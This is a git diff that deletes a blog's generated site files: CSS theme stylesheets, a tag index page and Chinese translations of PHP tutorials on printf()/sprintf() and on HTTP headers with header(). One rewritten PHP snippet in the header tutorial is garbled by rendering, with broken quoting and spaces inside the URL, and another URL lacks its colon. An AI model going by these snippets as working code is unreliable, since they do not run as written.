- background: -webkit-linear-gradient(top, #bbbbbb 0%,#efefef 100%); /* Chrome10+,Safari5.1+ */
- background: -o-linear-gradient(top, #bbbbbb 0%,#efefef 100%); /* Opera11.10+ */
- background: -ms-linear-gradient(top, #bbbbbb 0%,#efefef 100%); /* IE10+ */
- background: linear-gradient(top, #bbbbbb 0%,#efefef 100%); /* W3C */
- cursor: default;
-}
-
-.compact-theme .ellipse {
- background: #EAEAEA;
- padding: 0 10px;
- cursor: default;
-}
-
-/*------------------------------------*\
- Light Theme Styles
-\*------------------------------------*/
-
-.light-theme a, .light-theme span {
- float: left;
- color: #666;
- font-size:14px;
- line-height:24px;
- font-weight: normal;
- text-align: center;
- border: 1px solid #BBB;
- min-width: 14px;
- padding: 0 7px;
- margin: 0 5px 0 0;
- border-radius: 3px;
- box-shadow: 0 1px 2px rgba(0,0,0,0.2);
- background: #efefef; /* Old browsers */
- background: -moz-linear-gradient(top, #ffffff 0%, #efefef 100%); /* FF3.6+ */
- background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#ffffff), color-stop(100%,#efefef)); /* Chrome,Safari4+ */
- background: -webkit-linear-gradient(top, #ffffff 0%,#efefef 100%); /* Chrome10+,Safari5.1+ */
- background: -o-linear-gradient(top, #ffffff 0%,#efefef 100%); /* Opera11.10+ */
- background: -ms-linear-gradient(top, #ffffff 0%,#efefef 100%); /* IE10+ */
- background: linear-gradient(top, #ffffff 0%,#efefef 100%); /* W3C */
-}
-
-.light-theme a:hover {
- text-decoration: none;
- background: #FCFCFC;
-}
-
-.light-theme .current {
- background: #666;
- color: #FFF;
- border-color: #444;
- box-shadow: 0 1px 0 rgba(255,255,255,1), 0 0 2px rgba(0, 0, 0, 0.3) inset;
- cursor: default;
-}
-
-.light-theme .ellipse {
- background: none;
- border: none;
- border-radius: 0;
- box-shadow: none;
- font-weight: bold;
- cursor: default;
-}
-
-/*------------------------------------*\
- Dark Theme Styles
-\*------------------------------------*/
-
-.dark-theme a, .dark-theme span {
- float: left;
- color: #CCC;
- font-size:14px;
- line-height:24px;
- font-weight: normal;
- text-align: center;
- border: 1px solid #222;
- min-width: 14px;
- padding: 0 7px;
- margin: 0 5px 0 0;
- border-radius: 3px;
- box-shadow: 0 1px 2px rgba(0,0,0,0.2);
- background: #555; /* Old browsers */
- background: -moz-linear-gradient(top, #555 0%, #333 100%); /* FF3.6+ */
- background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#555), color-stop(100%,#333)); /* Chrome,Safari4+ */
- background: -webkit-linear-gradient(top, #555 0%,#333 100%); /* Chrome10+,Safari5.1+ */
- background: -o-linear-gradient(top, #555 0%,#333 100%); /* Opera11.10+ */
- background: -ms-linear-gradient(top, #555 0%,#333 100%); /* IE10+ */
- background: linear-gradient(top, #555 0%,#333 100%); /* W3C */
-}
-
-.dark-theme a:hover {
- text-decoration: none;
- background: #444;
-}
-
-.dark-theme .current {
- background: #222;
- color: #FFF;
- border-color: #000;
- box-shadow: 0 1px 0 rgba(255,255,255,0.2), 0 0 1px 1px rgba(0, 0, 0, 0.1) inset;
- cursor: default;
-}
-
-.dark-theme .ellipse {
- background: none;
- border: none;
- border-radius: 0;
- box-shadow: none;
- font-weight: bold;
- cursor: default;
-}
\ No newline at end of file
diff --git a/_site/stylesheets/stylesheet.css b/_site/stylesheets/stylesheet.css
deleted file mode 100644
index d58131a..0000000
--- a/_site/stylesheets/stylesheet.css
+++ /dev/null
@@ -1,373 +0,0 @@
-/* http://meyerweb.com/eric/tools/css/reset/
- v2.0 | 20110126
- License: none (public domain)
-*/
-html, body, div, span, applet, object, iframe,
-h1, h2, h3, h4, h5, h6, p, blockquote, pre,
-a, abbr, acronym, address, big, cite, code,
-del, dfn, em, img, ins, kbd, q, s, samp,
-small, strike, strong, sub, sup, tt, var,
-b, u, i, center,
-dl, dt, dd, ol, ul, li,
-fieldset, form, label, legend,
-table, caption, tbody, tfoot, thead, tr, th, td,
-article, aside, canvas, details, embed,
-figure, figcaption, footer, header, hgroup,
-menu, nav, output, ruby, section, summary,
-time, mark, audio, video {
- padding: 0;
- margin: 0;
- font: inherit;
- font-size: 100%;
- vertical-align: baseline;
- border: 0;
-}
-/* HTML5 display-role reset for older browsers */
-article, aside, details, figcaption, figure,
-footer, header, hgroup, menu, nav, section {
- display: block;
-}
-body {
- line-height: 1;
-}
-ol, ul {
- list-style: none;
-}
-blockquote, q {
- quotes: none;
-}
-blockquote:before, blockquote:after,
-q:before, q:after {
- content: '';
- content: none;
-}
-table {
- border-spacing: 0;
- border-collapse: collapse;
-}
-
-/* LAYOUT STYLES */
-body {
- font-family: 'Helvetica Neue', Helvetica, Arial, serif;
- font-size: 1em;
- line-height: 1.5;
- color: #6d6d6d;
- text-shadow: 0 1px 0 rgba(255, 255, 255, 0.8);
- background: #e7e7e7 url(../images/body-bg.png) 0 0 repeat;
-}
-
-a {
- color: #d5000d;
-}
-a:hover {
- color: #c5000c;
-}
-
-header {
- padding-top: 35px;
- padding-bottom: 25px;
-}
-
-header h1 {
- font-family: 'Chivo', 'Helvetica Neue', Helvetica, Arial, serif;
- font-size: 48px; font-weight: 900;
- line-height: 1.2;
- color: #303030;
- letter-spacing: -1px;
-}
-
-header h2 {
- font-size: 24px;
- font-weight: normal;
- line-height: 1.3;
- color: #aaa;
- letter-spacing: -1px;
-}
-
-#container {
- min-height: 595px;
- background: transparent url(../images/highlight-bg.jpg) 50% 0 no-repeat;
-}
-
-.inner {
- width: 620px;
- margin: 0 auto;
-}
-
-#container .inner img {
- max-width: 100%;
-}
-
-#downloads {
- margin-bottom: 40px;
-}
-
-a.button {
- display: block;
- float: left;
- width: 179px;
- padding: 12px 8px 12px 8px;
- margin-right: 14px;
- font-size: 15px;
- font-weight: bold;
- line-height: 25px;
- color: #303030;
- background: #fdfdfd; /* Old browsers */
- background: -moz-linear-gradient(top, #fdfdfd 0%, #f2f2f2 100%); /* FF3.6+ */
- background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#fdfdfd), color-stop(100%,#f2f2f2)); /* Chrome,Safari4+ */
- background: -webkit-linear-gradient(top, #fdfdfd 0%,#f2f2f2 100%); /* Chrome10+,Safari5.1+ */
- background: -o-linear-gradient(top, #fdfdfd 0%,#f2f2f2 100%); /* Opera 11.10+ */
- background: -ms-linear-gradient(top, #fdfdfd 0%,#f2f2f2 100%); /* IE10+ */
- background: linear-gradient(top, #fdfdfd 0%,#f2f2f2 100%); /* W3C */
- filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#fdfdfd', endColorstr='#f2f2f2',GradientType=0 ); /* IE6-9 */
- border-top: solid 1px #cbcbcb;
- border-right: solid 1px #b7b7b7;
- border-bottom: solid 1px #b3b3b3;
- border-left: solid 1px #b7b7b7;
- border-radius: 30px;
- -webkit-box-shadow: 10px 10px 5px #888;
- -moz-box-shadow: 10px 10px 5px #888;
- box-shadow: 0px 1px 5px #e8e8e8;
- -moz-border-radius: 30px;
- -webkit-border-radius: 30px;
-}
-a.button:hover {
- background: #fafafa; /* Old browsers */
- background: -moz-linear-gradient(top, #fdfdfd 0%, #f6f6f6 100%); /* FF3.6+ */
- background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#fdfdfd), color-stop(100%,#f6f6f6)); /* Chrome,Safari4+ */
- background: -webkit-linear-gradient(top, #fdfdfd 0%,#f6f6f6 100%); /* Chrome10+,Safari5.1+ */
- background: -o-linear-gradient(top, #fdfdfd 0%,#f6f6f6 100%); /* Opera 11.10+ */
- background: -ms-linear-gradient(top, #fdfdfd 0%,#f6f6f6 100%); /* IE10+ */
- background: linear-gradient(top, #fdfdfd 0%,#f6f6f6, 100%); /* W3C */
- filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#fdfdfd', endColorstr='#f6f6f6',GradientType=0 ); /* IE6-9 */
- border-top: solid 1px #b7b7b7;
- border-right: solid 1px #b3b3b3;
- border-bottom: solid 1px #b3b3b3;
- border-left: solid 1px #b3b3b3;
-}
-
-a.button span {
- display: block;
- height: 23px;
- padding-left: 50px;
-}
-
-#download-zip span {
- background: transparent url(../images/zip-icon.png) 12px 50% no-repeat;
-}
-#download-tar-gz span {
- background: transparent url(../images/tar-gz-icon.png) 12px 50% no-repeat;
-}
-#view-on-github span {
- background: transparent url(../images/octocat-icon.png) 12px 50% no-repeat;
-}
-#view-on-github {
- margin-right: 0;
-}
-
-code, pre {
- margin-bottom: 30px;
- font-family: Monaco, "Bitstream Vera Sans Mono", "Lucida Console", Terminal;
- font-size: 14px;
- color: #222;
-}
-
-code {
- padding: 0 3px;
- background-color: #f2f2f2;
- border: solid 1px #ddd;
-}
-
-pre {
- padding: 20px;
- overflow: auto;
- color: #f2f2f2;
- text-shadow: none;
- background: #303030;
-}
-pre code {
- padding: 0;
- color: #f2f2f2;
- background-color: #303030;
- border: none;
-}
-
-ul, ol, dl {
- margin-bottom: 20px;
-}
-
-
-/* COMMON STYLES */
-
-hr {
- height: 1px;
- padding-bottom: 1em;
- margin-top: 1em;
- line-height: 1px;
- background: transparent url('../images/hr.png') 50% 0 no-repeat;
- border: none;
-}
-
-strong {
- font-weight: bold;
-}
-
-em {
- font-style: italic;
-}
-
-table {
- width: 100%;
- border: 1px solid #ebebeb;
-}
-
-th {
- font-weight: 500;
-}
-
-td {
- font-weight: 300;
- text-align: center;
- border: 1px solid #ebebeb;
-}
-
-form {
- padding: 20px;
- background: #f2f2f2;
-
-}
-
-
-/* GENERAL ELEMENT TYPE STYLES */
-
-h1 {
- font-size: 32px;
-}
-
-h2 {
- margin-bottom: 8px;
- font-size: 22px;
- font-weight: bold;
- color: #303030;
-}
-
-h3 {
- margin-bottom: 8px;
- font-size: 18px;
- font-weight: bold;
- color: #d5000d;
-}
-
-h4 {
- font-size: 16px;
- font-weight: bold;
- color: #303030;
-}
-
-h5 {
- font-size: 1em;
- color: #303030;
-}
-
-h6 {
- font-size: .8em;
- color: #303030;
-}
-
-p {
- margin-bottom: 20px;
- font-weight: 300;
-}
-
-a {
- text-decoration: none;
-}
-
-p a {
- font-weight: 400;
-}
-
-blockquote {
- padding: 0 0 0 30px;
- margin-bottom: 20px;
- font-size: 1.6em;
- border-left: 10px solid #e9e9e9;
-}
-
-ul li {
- list-style-position: inside;
- list-style: disc;
- padding-left: 20px;
-}
-
-ol li {
- list-style-position: inside;
- list-style: decimal;
- padding-left: 3px;
-}
-
-dl dt {
- color: #303030;
-}
-
-footer {
- padding-top: 20px;
- padding-bottom: 30px;
- margin-top: 40px;
- font-size: 13px;
- color: #aaa;
- background: transparent url('../images/hr.png') 0 0 no-repeat;
-}
-
-footer a {
- color: #666;
-}
-footer a:hover {
- color: #444;
-}
-
-/* MISC */
-.clearfix:after {
- display: block;
- height: 0;
- clear: both;
- visibility: hidden;
- content: '.';
-}
-
-.clearfix {display: inline-block;}
-* html .clearfix {height: 1%;}
-.clearfix {display: block;}
-
-/* #Media Queries
-================================================== */
-
-/* Smaller than standard 960 (devices and browsers) */
-@media only screen and (max-width: 959px) { }
-
-/* Tablet Portrait size to standard 960 (devices and browsers) */
-@media only screen and (min-width: 768px) and (max-width: 959px) { }
-
-/* All Mobile Sizes (devices and browser) */
-@media only screen and (max-width: 767px) {
- header {
- padding-top: 10px;
- padding-bottom: 10px;
- }
- #downloads {
- margin-bottom: 25px;
- }
- #download-zip, #download-tar-gz {
- display: none;
- }
- .inner {
- width: 94%;
- margin: 0 auto;
- }
-}
-
-/* Mobile Landscape Size to Tablet Portrait (devices and browsers) */
-@media only screen and (min-width: 480px) and (max-width: 767px) { }
-
-/* Mobile Portrait Size to Mobile Landscape Size (devices and browsers) */
-@media only screen and (max-width: 479px) { }
diff --git a/_site/tag/index.html b/_site/tag/index.html
deleted file mode 100644
index fa1bd82..0000000
--- a/_site/tag/index.html
+++ /dev/null
@@ -1,539 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-Paul Walko
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
14
-
Jun/2016
-
writeup
-
-
-
-
- FULL ARTICLE
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
14
-
Jun/2016
-
writeup
-
-
-
-
- FULL ARTICLE
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
08
-
Jul/2016
-
writeup
-
-
-
-
- FULL ARTICLE
-
-
-
-
-
-
-
-
19
-
Jun/2016
-
writeup
-
-
-
-
- FULL ARTICLE
-
-
-
-
-
-
-
-
14
-
Jun/2016
-
writeup
-
-
-
-
- FULL ARTICLE
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
08
-
Jul/2016
-
writeup
-
-
-
-
- FULL ARTICLE
-
-
-
-
-
-
-
-
19
-
Jun/2016
-
writeup
-
-
-
-
- FULL ARTICLE
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
diff --git a/_site/translation/Formating_PHP_Strings_With_Printf_And_Sprintf.html b/_site/translation/Formating_PHP_Strings_With_Printf_And_Sprintf.html
deleted file mode 100644
index 8868f54..0000000
--- a/_site/translation/Formating_PHP_Strings_With_Printf_And_Sprintf.html
+++ /dev/null
@@ -1,345 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-使用 php printf() 和 sprintf() 格式化字符串
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
原文在 2009/11/19 发表于 http://www.elated.com/articles/formatting-php-strings-printf-sprintf/
-
-
和其他许多编程语言一样, PHP 也有功能强大的 printf()
和 sprintf()
函数, 它们提供了很多格式化字符串的方式. 当你想要某些数据更易读, 或者需要传递数据给其他程式的时候, 这两个函数很有用.
-
-
PHP 也有许多专门用途的格式化字符串的函数 - 比如 date()
函数, 适合用于格式化日期字符串. 而 printf()
和 sprintf()
则适合更为通用的格式化.
-
-
这篇教程就会教你如何使用 printf()
和 sprintf()
来格式化字符串.
-
-
一个简单的 printf()
示例
-
-
了解 printf()
的最简单方式就是通过示例. 下面这个例子打印一个包含了两个数字的字符串:
-
<?php
-// 打印 "Australia comprises 6 states and 10 territories"
-printf ( "Australia comprises %d states and %d territories" , 6 , 10 );
-?>
-
-
注意这个字符串在被打印出的时候, 第一个 %d
被第二个参数 6
替换, 第二个 %d
则被第三个参数 10
替换. 其工作原理即:
-
-
-第一个参数必须是一个字符串, 我们称之为目标字符串. 目标字符串包含普通的字符, 和一些可选的格式说明符 (比如 %d
)
-所有格式说明符都以 %
开头. 它按对应的顺序以特定方式格式化目标字符串之后的参数, 然后将其插入到最终的字符串中, 并显示到网页.
-
-
-
NOTE: 如果想要打印 %
符, 使用 %%
.
-
-
<?php
-printf ( "Here's the number %s as a float (%f), a binary integer (%b), an octal integer (%o), and a hex integer (%x)." , 543.21 , 543.21 , 543.21 , 543.21 , 543.21 );
-?>
-
-
这段代码会输出:
-
Here's the number 543.21 as a float (543.210000), a binary integer (1000011111), an octal integer (1037), and a hex integer (21f).
-
-
<?php
-printf ( "%d" , 36 ); // 输出 "36"
-printf ( "%d" , - 36 ); // 输出 "-36"
-?>
-
-
如果你也想让 printf()
在正数前加符号, 可以在类型说明符前指定一个符号说明符 +
:
-
<?php
-printf ( "%+d" , 36 ); // 输出 "+36"
-printf ( "%+d" , - 36 ); // 输出 "-36"
-?>
-
-
<?php
-printf ( "%04d" , 12 ); // 输出 "0012"
-printf ( "%04d" , 1234 ); // 输出 "1234"
-printf ( "%04d" , 12345 ); // 输出 "12345"
-printf ( "% 10s" , "Hello" ); // 输出 " Hello"
-printf ( "%10s" , "Hello" ); // 输出 " Hello"
-printf ( "%'*10s" , "Hello" ); // 输出 "*****Hello"
-printf ( "%'*-10s" , "Hello" ); // 输出 "Hello*****"
-?>
-
-留意第三个示例, 填充说明符并不会导致目标字符串被截断为 4 个字符. 填充只会在必要处增加字符
-
-<?php
-printf ( "%f" , 123.456 ); // 输出 "123.456000"
-?>
-
-如果要指定不同的精度, 就要用到精度说明符了. 精度说明符是一个 .
号后跟一个数字, 并应放到类型说明符之前. 如:
-<?php
-printf ( "%.2f" , 123.456 ); // 输出 "123.46"
-printf ( "%.10f" , 123.456 ); // 输出 "123.4560000000"
-printf ( "%.0f" , 123.456 ); // 输出 "123"
- ?>
-
-如果你既指定了填充说明符又指定了精度说明符, printf()
会将整个数字(包括整数和小数部分)填充到指定长度:
-<?php
-printf ( "%08.2f" , 123.456 ); // 输出 "00123.46"
- ?>
-
-如果你同时使用 s
类型说明符和精度说明符, printf()
会截断目标字符串到指定的长度:
-<?php
-printf ( "%.2s" , "Hello" ); // 输出 "He"
- ?>
-
-<?php
-// 输出 "Australia comprises 10 territories and 6 states"
-printf ( 'Australia comprises %2$d territories and %1$d states' , 6 , 10 );
- ?>
-
-在上面的例子中, 第一个格式说明符是 %2$d
. 意即: "将目标字符串后的第二个参数作为十进制整数格式化". 第二个格式说明符 %1$d
即: "将目标字符串后的第一个参数作为十进制整数格式化". 这样, 参数便以不同与默认的顺序格式化.
-
-在上面的例子中, 格式字符串使用单引号而非双引号包围. 这样是为了阻止 $
符号被 PHP 解释为变量名.
-
-<?php
-$result = sprintf ( "Australia comprises %d states and %d territories" , 6 , 10 );
-
-// 输出 "Australia comprises 6 states and 10 territories"
-echo $result ;
- ?>
-
-fprintf()
, 用于将结果写到流(如文件). 还有 vprintf()
/vsprintf()
/vfprintf()
, 它们使用一个数组参数, 而非参数列表.
-
-
-
-
-
-
-
-
-Please enable JavaScript to view the comments powered by Disqus.
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
diff --git a/_site/translation/Http_headers_and_PHP_header()_function.html b/_site/translation/Http_headers_and_PHP_header()_function.html
deleted file mode 100644
index 8ec012b..0000000
--- a/_site/translation/Http_headers_and_PHP_header()_function.html
+++ /dev/null
@@ -1,609 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-Test post; Please Ignore
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
原文链接: http://www.nicholassolutions.com/tutorials/php/headers.html
-
-
版权: 本文受 Creative Commons License 版权保护, 你可以在 Creative Commons Attribution NonCommercial NoDerives 2.5 License 下分发该文
-
-
header() 函数当作某种神秘巫术. 他们可以照着代码示例把功能实现, 但是还是不知道到底它是如果运作的. 我最开始就是这样的.
-
- 实际上它非常简单. 在这篇文章中, 我会解释 HTTP 头(header) 是如何运作的, 它们与 PHP 的关系, 以及它们的 meta 标签 equivalents(对应物)
-
-
希望你读完之后, 能更顺手的使用 header() 函数, 甚至想出一些更多利用它的地方. 我们也会讲到其他一些关于 HTTP 和 PHP 的重要话题. 但是在我们开始讲任何程序相关的东西之前, 我们需要先快速(并且不完整的)过一遍 HTTP (HyperTex Transfer Protocol) 运作原理
-
-
HTTP 概览
-
-
-
-
HTTP 是 web 服务器和客户端浏览器之间的数据传输(比如 web 页面中的 HTML, 图片, 文件)协议('规则'集合), 并且通常使用 80 端口 . 这就是网站 URL 前面 'http://
' 的来源
-
-
很多人最开始制作 web 页面的时候, 他们先在本地电脑上写 HTML, 在本地浏览器查看是否符合预期, 然后上传到服务器, 就可以在网上浏览这些页面了. 看起来好像在无论在本地查看与在服务器上查看的页面都一样, 传输的数据只有这些 HTML 以及它包含的图片. 但是实际上还有另外一些许多你没看到的信息 - 头信息.
-
-
头信息可以分为两大类: 你浏览器向服务器请求文件时发出的请求头信息, 服务器提供文件给浏览器时发出的响应头信息. 把这些头信息当作浏览器和服务器对话时的词语. 我喜欢把服务器想象为图书管理员, 把浏览器想象成正在请求图书资源的学者. 浏览器走向位于服务台 (80 端口) 的服务器, 说道, "Hi, 我是 Mozilla, 我正在找这个编目号是 'www.expertsrt.com ' 的资源. 你可以帮我找到它吗?" 服务器听到后回应 "是的, 我找到了, 让我把它给你. 这里面是 HTML 文本, 它写的是 '<html>...
'" 浏览器开始从头到尾的读它, 并且遇到了一个图片标签, 所以向服务器要位于 src 属性指定处的图片. 服务器进行查找, 找到这个文件然后说道 "这是个 PNG 图片, 它的数据是..." 你懂的.
-
-
另一个对话可能像这样:
-
-
-浏览器: Hi, 我是 Mozilla, 能给我在 'www.expertsrt.com/moved.html ' 这里的文件吗?.
-
-服务器: 那个文件已经不在那儿了, 他现在在 'www.expertsrt.com/newloc.html '.
-
-浏览器: Hi, 我是 Mozilla, 能给我在 'www.expertsrt.com/newloc.html ' 这里的文件吗?
-
-服务器: 我找到这个文件了. 查看它 10 秒钟然后再向我问一次. 它是一个 HTML 文本文件, 它有这些内容...
-
-
-
...10 秒钟...
-
-
-浏览器: Hi, 我是 Mozilla, 能给我在 'www.expertsrt.com/newloc.html ' 这里的文件吗?
-
-服务器: 我找到这个文件了. 查看它 10 秒钟然后再向我问一次. 它是一个 HTML 文本文件, 它有这些内容...
-
-
-
...10 秒钟...
-
-
-浏览器: Hi, 我是 Mozilla, 能给我在 'www.expertsrt.com/newloc.html ' 这里的文件吗?
-
-服务器: 我找到这个文件了. 查看它 10 秒钟然后再向我问一次. 它一个 HTML 文本文件, 它有这些内容...
-
-
-
...诸如这般, 直到浏览器被用户重新定向...
-
-
正如你所看到的, 使用头信息可以控制许多事情. 使用 header() 函数, 你可以让服务器发送你所需的头信息, 这样你可以做除了发送 HTML 之外许多很酷的事情.
-
-
telnet expertsrt.com 80
-
-
然后回车. 这会链接到 expersrt.com 的 80 端口. 然后, 复制并粘贴下面的文字:
-
GET / HTTP/1.1
-Host: expertsrt.com
-
-
如果你输入或粘贴这些文字的时候, 命令行除了光标的闪烁没看到任何动静的话, 不要担心 -- 它们确实被发送到服务器了. 第一行说明你使用 GET 请求方法去获取资源 / (这里是目标主机上基目录里的文件), 并且你在使用 HTTP 1.1 版本. 第二行告诉服务器你想要连接到哪台主机. 当你输入 'expertsrt.com' 后, 回车两次 (只需两次). 你应当立刻得到类似下面的响应:
-
HTTP/1.1 301 Moved Permanently
-Date: Wed, 08 Feb 2006 07:44:07 GMT
-Server: Apache/2.0.54 (Debian GNU/Linux) mod_auth_pgsql/2.0.2b1 mod_ssl/2.0.54 OpenSSL/0.9.7e
-Location: http://www.expertsrt.com/
-Content-Length: 233
-Content-Type: text/html; charset=iso-8859-1
-
-<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
-<html><head>
-<title>301 Moved Permanently</title>
-</head><body>
-<h1>Moved Permanently</h1>
-<p>The document has moved <a href="http://www.expertsrt.com/">here</a>.</p>
-</body></html>
-
-
哎呀! 看起来好像我们请求的文件已经不在那儿了; 它已经被移到新的地方了: http://www.expertsrt.com
. 如果你使用浏览器, 你只会看到 HTML - 在第一个空白行之前的都是头信息. 实际上, 现代浏览器比这更智能 - 当他们看到第三行的新的 URL 时, 会自动转向那里, 这样你就不用手动再输入这个新的 URL 了. 让我们去这个新的 URL. 这时可能你已经断开连接了. 如果这样, 只需按向上键, telnet 命令会出现, 然后回车以重新连接. 如果你没有断开连接, 那直接输入下面的文字就行:
-
GET / HTTP/1.1
-Host: www.expertsrt.com
-
-
然后回车两次. 你会看到另一个类似的响应, 告诉你那个页面实际上在 http://www.expertsrt.com/index.php
. 服务器真挑剔是不是? ;-) 重复上面的操作, 不过这次输入
-
GET /index.php HTTP/1.1
-Host: www.expertsrt.com
-
-
注意我们想要的文件名在第一行. 这一次我们屏幕被文字刷满了: 这就是来自 ERT 主页的 HTML. 这里的头信息看起来是这样的
-
HTTP/1.1 200 OK
-Date: Wed, 08 Feb 2006 08:20:07 GMT
-Server: Apache/2.0.54 (Debian GNU/Linux) mod_auth_pgsql/2.0.2b1 mod_ssl/2.0.54 OpenSSL/0.9.7e
-X-Powered-By: PHP/4.4.0
-Transfer-Encoding: chunked
-Content-Type: text/html
-
-
很简单是不是? 我们来继续探讨这跟你编程有什么关系. 如果你不明白我们讲到的所有事情也没有关系. 重要的是对浏览器和服务器如何交互的有个大致印象, 以及意识到并没有什么魔法在里面. 最终就是这些
-
-
-浏览器和服务器通过使用头信息来进行交互
-头信息在主要内容之前发送, 并且用两个 CRLF /换行符 来和主要内容分割开
-在头信息部分, 每一行就是一个头. 首先是头的名字, 然后是一个冒号一个空格, 然后是这个头的名/值
-
-头名: 头值
-头信息可以包括许多类型的信息和指示, 以便浏览器和服务器用来告知对方接下来该做什么
-
-
-
提示 : 如果你是那种刨根问底的人, 你可以看看 RFC 2616 , 那是 HTTP/1.1 的完整规范. 尤其是 14 章 , 包含每一个头的完整定义
-
-
-
-
注意在我们最终得到的主页中的 X-Powered-By: PHP/4.4.0 和 Content-Type: text/html 这两个头信息. PHP 一开始就被设计成输出 HTML ( PHP 中的 H 即代表 'Hypertext'), 并且在 PHP 脚本第一次生成输出(比如, 使用 echo)时, 会自动为你包含这些头信息. 这非常方便, 但也造成许多 PHP 新手对头信息的困惑 - 在像 Perl 这样不是一开始就被设计成用于 web 开发的语言中, 不包含你自己的头而直接发送输出会产生 '500 Internal Server Error' 错误, 所以 Perl 的 web 开发者不得不立即学习关于头信息的知识
-
-
header()
函数发送 HTTP 响应头信息, 而且只做这件事
-
-
使用这个函数, 你可以让你的脚本发送你选择的头信息给浏览器, 创造一个非常有用的动态结果. 但是, 你需要知道关于 header()
函数的第一件事就是你必须在 PHP 发送任何输出(这会使 PHP 自动发送默认的头信息)之前 使用它
-
-
我怀疑有哪个 PHP 程序员没有见到过如下的错误消息
-
Warning: Cannot modify header information - headers already sent by.....
-
-
如我们所说的, 响应头信息用一个空白行和主要内容分割. 这意味你仅可以发送头信息一次, 如果你的脚本有任何输出 (即使一个在 <?php
标签之前的空白行或空格), PHP 就会自动发送头信息. 例如, 看一下下面这个脚本, 看起来逻辑上很正常:
-
Welcome to my website!<br />
-<?php
- if ( $test ){
- echo "You're in!" ;
- }
- else {
- header ( 'Location: http://www.mysite.com/someotherpage.php' );
- }
-?>
-
-
这个脚本判断 $test
是否为 true, 如果不是则使用 Location
头重定向访问者. 看到问题所在了吗? 'Welcome...' 文字始终会发送出去, 所以默认的头信息会自动被发送. 在调用 header()
时已经太晚了: 用户只看到一条错误消息 (如果你把错误报告关掉了, 则只会看到 'Welcome...' 文字), 而不是被重定向
-
-
基本上有两种解决方法. 第一个就是重写代码
-
<?php
- if ( $test ){
- echo 'Welcome to my website<br />You' re in ! ';
- }
- else{
- header(' Location : http :// www . mysite . com / someotherpage . php ' );
- }
-?>
-
-
第二个就是使用输出缓冲 , 这个解决方法更为优雅易用. 在我们上面的例子中, 重写代码并不困难, 但是试想一下如果有很多 HTML 需要移动位置 - 这样做就会很麻烦, 也会让我们的代码更难追踪. 虽然我们第一个示例导致了错误, 但是逻辑上是没错的. 输出缓冲可以让你一直保留('缓冲')输出(即使是 PHP 代码之外的 HTML)直到你明确指示了把输出发送给浏览器. 这样你就可以随意编写你的代码, 知道你指定了你需要指定的头信息, 然后明确指示发送这些输出. 两个相关的函数是 ob_start()
和 ob_flush()
, ob_start()
用于打开输出缓冲, ob_flush()
会发送缓冲了的输出:
-
<?php
- ob_start (); //开始输出缓冲
-?>
-Welcome to my website!
-<?php
- if ( true ){
- echo "You're in!" ;
- }
- else {
- header ( 'Location: http://www.mysite.com/someotherpage.php' );
- }
-
- ob_flush (); //输出缓冲中的数据
-?>
-
-
我鼓励你读一下所有关于输出缓冲的函数, 非常有用. 你应当尽早的把输出缓冲发送出去, 尤其当你有许多东西想要发送的时候. 否则你的页面会看起来加载的很慢, 因为所有的内容只有被组装完毕后才发送, 而不是当可用的时候立即就被发送出去.
-
-
提示: 第二个参数 如果你调用 header() 不止一次发送同一个头, 这个头的值将会是最后 调用的 header() 中设置的值. 如,
-
<?php
-header ( 'Some-Header: Value-1' );
-header ( 'Some-Header: Value-2' );
-?>
-
-
会产生 Some-Header: Value-2
这个结果. 你可以通过设置第二个参数来发送同一个头两次. 这个参数默认是 true. 如果你设置其为 false, 那么第二个头值不会替换第一个, 而是两个都被发送. 所以下面的代码
-
<?php
-header ( 'Some-Header: Value-1' );
-header ( 'Some-Header: Value-2' , false ); //不要替换第一个
-?>
-
-
将会产生 Some-Header: Value-1, Value-2
这个结果. 你很少会用到这个, 但是知道它也不错.
-
-
知道了 HTTP header 和 PHP 如何配合之后, 让我们来看一些更为具体的例子.
-
-
-
-
提示 : 下面这个代码片断都是截取自完整的工作代码. 当你在自己的程序中包含他们的时候, 记得定义所有你自己的变量, 赋给他们默认值, 以及遵循其他最佳实践.
-
-
使用 Location
头重定向
-
-
我们已经在上面看到过几次了: 它会重定向浏览器.
-
<?php
-header ( 'Location: http/www.mysite.com/new_location.html' );
-?>
-
-
虽然你给它一个相对 URL 没准也能工作, 但是根据 HTTP 规范, 你真的应该使用一个绝对 URL.
-
-
一个容易犯的错误就是在使用了 Location header 之后不立即使用 exit
以结束执行 (你可能不是总是想要结束执行, 但是大部分时间是的). 之所以这是一个错误是因为 PHP 代码会继续执行, 即使用户已经被重定向到新的 URL. 在最好的情况下, 这会不必要的使用系统资源. 在最坏的情况下, 你可能会执行一些让自己后悔的操作. 看一下下面的代码:
-
<?php
-//重定向访问级别低于 4 的用户
-if ( check_access_level ( $username ) < 4 ){
- header ( 'Location: http://www.mysite.com/someotherpage.php' );
-}
-
-//向高于访问级别 4 的用户发送秘密邮件
-mail_secret_code ( $username );
